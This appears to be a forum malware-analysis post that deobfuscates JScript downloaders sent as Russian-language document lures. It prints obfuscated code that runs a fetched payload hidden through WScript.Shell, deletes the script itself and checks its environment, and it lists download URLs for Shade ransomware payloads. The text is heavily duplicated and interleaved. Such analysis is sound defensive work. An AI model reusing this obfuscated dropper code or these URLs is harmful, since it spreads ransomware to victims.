var Nk = tU;
var CWg = xnW;
if (iSL == dUR) => 19 == 7
{
if (iSL == Nk) => 19 == 5
{
var NW="";
NW=NW+J(605-491)+J(942-826)+J(97)+J(456/4-0)+J(9775/85-0)+J(113)+J(7592/73-0)+J(804-695)+J(20+82);
var FPm=BY+40485;
var kA=FPm/317;
var pHz=kA-918;
var zD=1065;
var em=zD+11871;
var fx=em/616;
var Tk=fx-20;
var jXy = ng[NW](pHz, iSL - Tk);
}JC=JC+J(4066/38+0)+J(93+7)+J(3488/32+0)+J(4386/43-0)+J(5*23)+J(94+9);
=> "length"var iSL = ng[JC];
=> length of "asqmndsjhy7agfsdhfs"var Jnf=279668;
var EQQ=Jnf+15258;
var HB=EQQ/478;
var ubH=HB-610;
var dUR = ubH;
var sDM=402607;
var Ko=sDM+39011;
var RI=Ko/827;
var tU=RI-529;
var Nk = tU;
var CWg = xnW;
if (iSL == dUR) => 19 == 7
{
var iUx="";
iUx=iUx+J(416-303)+J(774-658)+J(6213/57+0);
}iUx=iUx+J(416-303)+J(774-658)+J(6213/57+0);
=> "run"
CWg = iUx;
if (iSL == Nk) => 19 == 5
{
var FL = iSL * Nk;
=> end of recursive calls !
=> calls another function (I will who it below)
}=> 25
return JK(FL, LAe, tC, xnW);
=> end of recursive calls !
=> calls another function (I will who it below)
var NW="";
NW=NW+J(605-491)+J(942-826)+J(97)+J(456/4-0)+J(9775/85-0)+J(113)+J(7592/73-0)+J(804-695)+J(20+82);
=> "substring"
var BY=250521;
var FPm=BY+40485;
var kA=FPm/317;
var pHz=kA-918;
var zD=1065;
var em=zD+11871;
var fx=em/616;
var Tk=fx-20;
var jXy = ng[NW](pHz, iSL - Tk);
=>"asqmndsjhy7agfsdhfs".substring(0, 19 - 1 )
return ygJ(jXy, LAe, tC, CWg);
=> "asqmndsjhy7agfsdhf"
=> ActiveXObject
=> "cmd.exe /c C:\\Users\\DardiM\\AppData\\Local\\Temp\\rad36D41.tmp" => "1123"
=> recursive calls !
=> ActiveXObject
=> "cmd.exe /c C:\\Users\\DardiM\\AppData\\Local\\Temp\\rad36D41.tmp" => "1123"
=> recursive calls !
=> A RECURSIVE FUNCTION=> this big function calls itself several times until some values are reached
=> the big string is modified at each call
"asqmndsjhy7agfsdhfs"
"asqmndsjhy7agfsdhf"
"asqmndsjhy7agfsdh"
"asqmndsjhy7agfs"
"asqmndsjhy7agf"
...
...
"asqmnds"
=> then it uses some real part
if (iSL == dUR) => iSL == 7
{
"asqmn"if (iSL == dUR) => iSL == 7
{
var iUx="";
iUx=iUx+J(416-303)+J(774-658)+J(6213/57+0);
CWg = iUx;
}iUx=iUx+J(416-303)+J(774-658)+J(6213/57+0);
=> "run"
CWg = iUx;
=> then it uses some real part
{
Let's see JK function :
if (iSL == Nk) => iSL == 5{
var FL = iSL * Nk;
=> 25
return JK(FL, LAe, tC, xnW);
}=> 25
return JK(FL, LAe, tC, xnW);
- parameter 1 : 25
- parameter 2 : ActiveXObject
- parameter 3 : command line
=> the real returns ! recursive calls ended- parameter 2 : ActiveXObject
- parameter 3 : command line
=> Example : "cmd.exe /c C:\\Users\\DardiM\\AppData\\Local\\Temp\\rad36D41.tmp"
- parameter 4 : "run"
....................function JK(rch, LAe, tC, xnW)
{
var xUj=85687;
var oEC=xUj+61733;
var se=oEC/364;
var hP=se-405;
var saL = hP;
{
var XJ = QRO("32290802101215242C1D01","ANlhxsfCDykvurcqjY4RRqr9m5mh5FlojeGYDzFGG37989hSeNYp8K699X6IbQAe945t6BVJfyf74i");
=> "sgdjhasghdj"
var GNY="";
GNY=GNY+J(810-712)+J(25+28)+J(9*13)+J(7*17)+J(3230/38-0)+J(1073-991)+J(16*5)+J(8228/68+0)+J(595-493)+J(253-149)+J(706-655)+J(76+33)+J(6180/60-0)+J(16*3)+J(10*5)+J(7+45)+J(747-648)+J(489-407)+J(4200/42+0)+J(7584/96-0)+J(162-113)+J(1+64)+J(1060-958)+J(40+41)+J(239-136)+J(45+21)+J(1079-975)+J(16*7)+J(7280/70-0)+J(7+62)+J(63+17)+J(101)+J(3744/78-0)+J(279-201)+J(1072-972)+J(543-461)+J(5253/51-0)+J(409-306)+J(87-10)+J(1054-939)+J(71)+J(32+32)+J(5310/45-0)+J(20+55)+J(823-713)+J(866-762)+J(637-524)+J(5700/75-0)+J(234-164)+J(26+27)+J(73)+J(5412/66-0)+J(29+57)+J(634-533)+J(3*37)+J(47)+J(4250/50+0)+J(481-375)+J(10*5)+J(10*7)+J(65+46)+J(6902/58+0)+J(7*17)+J(632-566)+J(3685/55-0)+J(21+35)+J(231-164)+J(82+27)+J(5106/69+0)+J(741-633)+J(52+2);
XJ = new LAe(QRO("3445150A3F2325543401510204",GNY));
=> new ActiveXObject("Wscript.Shell")
XJ[xnW](tC, rch);
var DDn=ez+749;
var gm=DDn/21;
var ihg=gm-163;
var xw = ihg;
return xw;
}var oEC=xUj+61733;
var se=oEC/364;
var hP=se-405;
var saL = hP;
=> saL = 0 : ((85687+61733) / 364) - 405
if (rch > saL) => always true : 25 > 0
{
rch = saL;
}=> rch = 0 : intWindowStyle that will be used for the run part, second parameter
=> to hide the window
=> to hide the window
var XJ = QRO("32290802101215242C1D01","ANlhxsfCDykvurcqjY4RRqr9m5mh5FlojeGYDzFGG37989hSeNYp8K699X6IbQAe945t6BVJfyf74i");
=> "sgdjhasghdj"
var GNY="";
GNY=GNY+J(810-712)+J(25+28)+J(9*13)+J(7*17)+J(3230/38-0)+J(1073-991)+J(16*5)+J(8228/68+0)+J(595-493)+J(253-149)+J(706-655)+J(76+33)+J(6180/60-0)+J(16*3)+J(10*5)+J(7+45)+J(747-648)+J(489-407)+J(4200/42+0)+J(7584/96-0)+J(162-113)+J(1+64)+J(1060-958)+J(40+41)+J(239-136)+J(45+21)+J(1079-975)+J(16*7)+J(7280/70-0)+J(7+62)+J(63+17)+J(101)+J(3744/78-0)+J(279-201)+J(1072-972)+J(543-461)+J(5253/51-0)+J(409-306)+J(87-10)+J(1054-939)+J(71)+J(32+32)+J(5310/45-0)+J(20+55)+J(823-713)+J(866-762)+J(637-524)+J(5700/75-0)+J(234-164)+J(26+27)+J(73)+J(5412/66-0)+J(29+57)+J(634-533)+J(3*37)+J(47)+J(4250/50+0)+J(481-375)+J(10*5)+J(10*7)+J(65+46)+J(6902/58+0)+J(7*17)+J(632-566)+J(3685/55-0)+J(21+35)+J(231-164)+J(82+27)+J(5106/69+0)+J(741-633)+J(52+2);
=> "c6vxVSQzgi4nh135dSeP2BgRhCiqiFQf1OeShhNtHAwLoirMG6JSWfp0Vk3GpxxCD9DnKm7"XJ = new LAe(QRO("3445150A3F2325543401510204",GNY));
=> uses the QRO function (decoder)=> new ActiveXObject("Wscript.Shell")
XJ[xnW](tC, rch);
=> xnW = "run"
=> rch = 0 : hide the window (and active another)
=> Shell.run (commande line,0)
=> run the payload
var ez=2842;=> rch = 0 : hide the window (and active another)
=> Shell.run (commande line,0)
=> run the payload
var DDn=ez+749;
var gm=DDn/21;
var ihg=gm-163;
var xw = ihg;
return xw;
=> always returns 8 !!!
var anP=gL+63364;
var qXw=anP/361;
var mlA=qXw-570;
var qvO = mlA;
=> 10 : ((146016+63364)/361) - 570)
if (IIZ < qvO)
=> here, IIZ is always equal to 8 and qvO equal to 10
{
return BSu(dSF);
=> deletes the current running script file
}=> deletes the current running script file
function BSu(WZr, Svj) => 2nd parameters useless
{
{
var Xh=[];
Xh[0]="M";
Xh[1]="9";
Xh[2]="fxj";
Xh[3]="E";
Xh[4]="4";
Xh[5]="OZ";
Xh[6]="3";
Xh[7]="ZE";
Xh[8]="9i";
Xh[9]="hj";
Xh[10]="e0S";
Xh[11]="g";
Xh[12]="ml";
Xh[13]="Ad9";
Xh[14]="5X";
Xh[15]="J";
Xh[16]="U";
Xh[17]="rb";
Xh[18]="7oZ";
Xh[19]="3e";
Xh[20]="yr7";
Xh[21]="ug";
Xh[22]="Ux";
Xh[23]="s";
Xh[24]="3f2";
Xh[25]="s4";
Xh[26]="u";
Xh[27]="Jj";
Xh[28]="noU";
Xh[29]="KLh";
Xh[30]="lbO";
Xh[31]="E";
Xh[32]="w";
Xh[33]="t";
Xh[34]="rJ";
Xh[35]="3L";
Xh[36]="V";
Xh[37]="3g";
Xh[38]="5T";
Xh[39]="Kn";
Xh[40]="m";
Xh[41]="1Wl";
var ms=Xh[22]+Xh[0]+Xh[4]+Xh[19]+Xh[28]+Xh[8]+Xh[10]+Xh[37]+Xh[3]+Xh[38]+Xh[36]+Xh[5]+Xh[27]+Xh[17]+Xh[1]+Xh[35]+Xh[31]+Xh[11]+Xh[20]+Xh[16]+Xh[21]+Xh[26]+Xh[30]+Xh[7]+Xh[2]+Xh[32]+Xh[29]+Xh[12]+Xh[14]+Xh[18]+Xh[34]+Xh[25]+Xh[15]+Xh[40]+Xh[41]+Xh[6]+Xh[9]+Xh[24]+Xh[39]+Xh[13]+Xh[23]+Xh[33];
EB=EB+J(557-440)+J(8036/98-0)+J(6630/65+0)+J(28+70)+J(1+55)+J(9752/92-0)+J(2795/43+0)+J(49+72)+J(38+42)+J(26+93)+J(757-660)+J(10*7)+J(73)+J(2+52)+J(5184/64-0)+J(944-892)+J(2544/48-0)+J(79)+J(6783/57+0)+J(4620/70+0)+J(10+55)+J(7*11)+J(324-250)+J(1173/23-0)+J(7*17)+J(4+100)+J(579-478)+J(48+16)+J(35+65)+J(6351/73-0)+J(3552/37-0)+J(420-341)+J(852-750)+J(35+39)+J(6*17)+J(15*7)+J(213-113)+J(7*17)+J(3+61)+J(109)+J(1024-936)+J(37+30)+J(8*7)+J(10*7)+J(6*11)+J(83)+J(4*19)+J(9*11)+J(455/7+0)+J(21+80)+J(65+44)+J(90+15)+J(78+7)+J(4*17)+J(109)+J(16*3)+J(2*37)+J(8+70)+J(192/2+0)+J(76+24)+J(1488/31-0)+J(47)+J(929-881)+J(8200/100+0)+J(21+32)+J(6*11)+J(8*13)+J(73)+J(31+74)+J(9630/90+0)+J(490-383);
}Xh[0]="M";
Xh[1]="9";
Xh[2]="fxj";
Xh[3]="E";
Xh[4]="4";
Xh[5]="OZ";
Xh[6]="3";
Xh[7]="ZE";
Xh[8]="9i";
Xh[9]="hj";
Xh[10]="e0S";
Xh[11]="g";
Xh[12]="ml";
Xh[13]="Ad9";
Xh[14]="5X";
Xh[15]="J";
Xh[16]="U";
Xh[17]="rb";
Xh[18]="7oZ";
Xh[19]="3e";
Xh[20]="yr7";
Xh[21]="ug";
Xh[22]="Ux";
Xh[23]="s";
Xh[24]="3f2";
Xh[25]="s4";
Xh[26]="u";
Xh[27]="Jj";
Xh[28]="noU";
Xh[29]="KLh";
Xh[30]="lbO";
Xh[31]="E";
Xh[32]="w";
Xh[33]="t";
Xh[34]="rJ";
Xh[35]="3L";
Xh[36]="V";
Xh[37]="3g";
Xh[38]="5T";
Xh[39]="Kn";
Xh[40]="m";
Xh[41]="1Wl";
var ms=Xh[22]+Xh[0]+Xh[4]+Xh[19]+Xh[28]+Xh[8]+Xh[10]+Xh[37]+Xh[3]+Xh[38]+Xh[36]+Xh[5]+Xh[27]+Xh[17]+Xh[1]+Xh[35]+Xh[31]+Xh[11]+Xh[20]+Xh[16]+Xh[21]+Xh[26]+Xh[30]+Xh[7]+Xh[2]+Xh[32]+Xh[29]+Xh[12]+Xh[14]+Xh[18]+Xh[34]+Xh[25]+Xh[15]+Xh[40]+Xh[41]+Xh[6]+Xh[9]+Xh[24]+Xh[39]+Xh[13]+Xh[23]+Xh[33];
=>"UxM43enoU9ie0S3gE5TVOZJjrb93LEgyr7UugulbOZEfxjwKLhml5X7oZrJs4Jm1Wl3hj3f2KnAd9st"
var LN = eval(QRO("022B2E465A151A",ms));
=> QRO => eval("WScript")
=> LN : WScript
var kQ = LN[QRO("303A085F124D03232E200451065D","cYz6b9EVBLJ0k8wposUSED3bw02Cp6bI71mjcMnF7UfKxD6eFo6FO0VMpgcaENpyl8U5EdriaX0jZ")];=> LN : WScript
=> "ScriptFullName"
=> WScript["ScriptFullName"]
=> "J:\\ANALISE\\23-11-2016#20 (1)\\Документы и декларация на товар 11222016.js"
var EB="";=> WScript["ScriptFullName"]
=> "J:\\ANALISE\\23-11-2016#20 (1)\\Документы и декларация на товар 11222016.js"
EB=EB+J(557-440)+J(8036/98-0)+J(6630/65+0)+J(28+70)+J(1+55)+J(9752/92-0)+J(2795/43+0)+J(49+72)+J(38+42)+J(26+93)+J(757-660)+J(10*7)+J(73)+J(2+52)+J(5184/64-0)+J(944-892)+J(2544/48-0)+J(79)+J(6783/57+0)+J(4620/70+0)+J(10+55)+J(7*11)+J(324-250)+J(1173/23-0)+J(7*17)+J(4+100)+J(579-478)+J(48+16)+J(35+65)+J(6351/73-0)+J(3552/37-0)+J(420-341)+J(852-750)+J(35+39)+J(6*17)+J(15*7)+J(213-113)+J(7*17)+J(3+61)+J(109)+J(1024-936)+J(37+30)+J(8*7)+J(10*7)+J(6*11)+J(83)+J(4*19)+J(9*11)+J(455/7+0)+J(21+80)+J(65+44)+J(90+15)+J(78+7)+J(4*17)+J(109)+J(16*3)+J(2*37)+J(8+70)+J(192/2+0)+J(76+24)+J(1488/31-0)+J(47)+J(929-881)+J(8200/100+0)+J(21+32)+J(6*11)+J(8*13)+J(73)+J(31+74)+J(9630/90+0)+J(490-383);
=> "vSgc9kBzQxbGJ7R56PxCBNK4xifAeXaPgKgjexAnYD9GCTMdBfnjVEn1KOae101S6CiJjll"
WZr[QRO("12360B064D0E04133D1D",EB)](kQ);
=> Shell["deleteFile"]("J:\\ANALISE\\23-11-2016#20 (1)\\Документы и декларация на товар 11222016.js")
return true;
else
{
return false;
}}
return false;
}return true;
- very big puzzle games
Документы и декларация на товар 11222016.js
URLs :
- http ://www .interlaan.com/deklar_11222016.exe
- http ://dipudevaraj.com/deklar_11222016.exe
Payload : shade ransomware , extension : .NO_MORE_RANSOM- http ://dipudevaraj.com/deklar_11222016.exe
"cmd.exe /c C:\Users\DardiM\AppData\Local\Temp\rad36D41.tmp"
7/55
Antivirus scan for 32bd4f2d2c33b037e0208d60ec3806bcba94a4ddaf3662b758c7340179b68f17 at 2016-11-22 18:30:54 UTC - VirusTotal
https://www.hybrid-analysis.com/sam...4ddaf3662b758c7340179b68f17?environmentId=100
7/55
Antivirus scan for 32bd4f2d2c33b037e0208d60ec3806bcba94a4ddaf3662b758c7340179b68f17 at 2016-11-22 18:30:54 UTC - VirusTotal
https://www.hybrid-analysis.com/sam...4ddaf3662b758c7340179b68f17?environmentId=100
начисления_xls.jsURLs :
- http ://grandfather.com/wp-content/themes/divi-child/helpsys.exe
- http ://agxlogistics.com/modules/mod_araticllws/helpsys.exe
=> Payload already not available
"cmd.exe /c C:\Users\DardiM\AppData\Local\Temp\rad00969.tmp"
- http ://agxlogistics.com/modules/mod_araticllws/helpsys.exe
=> Payload already not available
"cmd.exe /c C:\Users\DardiM\AppData\Local\Temp\rad00969.tmp"
=> remember this is a random name returned by GetTempName function
- The main difference with Документы и декларация на товар 11222016.js
The function called in the if part (remember, the main part)
function A(OAa)
{
function A(OAa)
{
var Z = eval("ActiveXObject");
var temp = Yx();
cY=cY+G(58+58)+G(75+34)+G(7738/73+0)+G(15+94)+G(10*11)+G(59*2)+G(5668/52+0);
var E = (typeof QWi[iHx()] == ach);
return E;var temp = Yx();
=> "ADODB.Recordset" (and not "ADODB.Stream")
var QWi = new Z(Yx());
=> QWi = ActiveXObject("ADODB.Recordset")
=> Creates an ActiveX object : ADO Recordset
"The ADO Recordset object is used to hold a set of records from a database table. A Recordset object consist of records and columns (fields)"
details : ADO Recordset Object
var ach = rT();=> Creates an ActiveX object : ADO Recordset
"The ADO Recordset object is used to hold a set of records from a database table. A Recordset object consist of records and columns (fields)"
details : ADO Recordset Object
=> ach = "object"
var cY="";
cY=cY+G(58+58)+G(75+34)+G(7738/73+0)+G(15+94)+G(10*11)+G(59*2)+G(5668/52+0);
=> "unknown" (here, the function G is similar to the J function of previous sample)
var Rd = cY;
var E = (typeof QWi[iHx()] == ach);
=> iHx() : "fields"
=> is typeof QWi["fields"] == "object" ?
=> We have seen that: QWi = ActiveXObject("ADODB.Recordset")
=> the string cY, "unknown", is not used ! They forgot to delete this part, when modifying the script !?=> is typeof QWi["fields"] == "object" ?
=> We have seen that: QWi = ActiveXObject("ADODB.Recordset")
=> var E = true is running under the good environment
=> true or false : result of above test : true if under the good environment.
}
Last edited: